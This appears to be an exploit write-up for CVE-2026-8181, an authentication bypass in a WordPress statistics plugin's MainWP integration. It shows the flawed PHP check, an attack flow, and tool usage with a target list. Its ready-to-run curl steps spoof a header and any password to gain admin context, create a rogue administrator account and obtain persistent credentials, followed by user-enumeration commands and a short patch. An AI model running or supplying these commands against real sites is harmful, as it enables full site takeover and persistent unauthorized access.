// VULNERABLE CODE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null NOT WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth based solely on username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        HTTP site → wp_is_application_passwords_available() = false
                │
        Return null (NOT WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API processes request with admin context]
                │
        Attacker accesses ALL WordPress endpoints as administrator

pip3 install requests

# Basic scan
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Create new admin account
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# With custom username
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

python3 poc_CVE-2026-8181.py

target1.com
target2.com
192.168.1.100
subdomain.example.org

# Step 1: Verify auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Create new administrator account
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Get Application Password (persistent credentials)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Check for WP_User, not !WP_Error
    return false;
}

$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);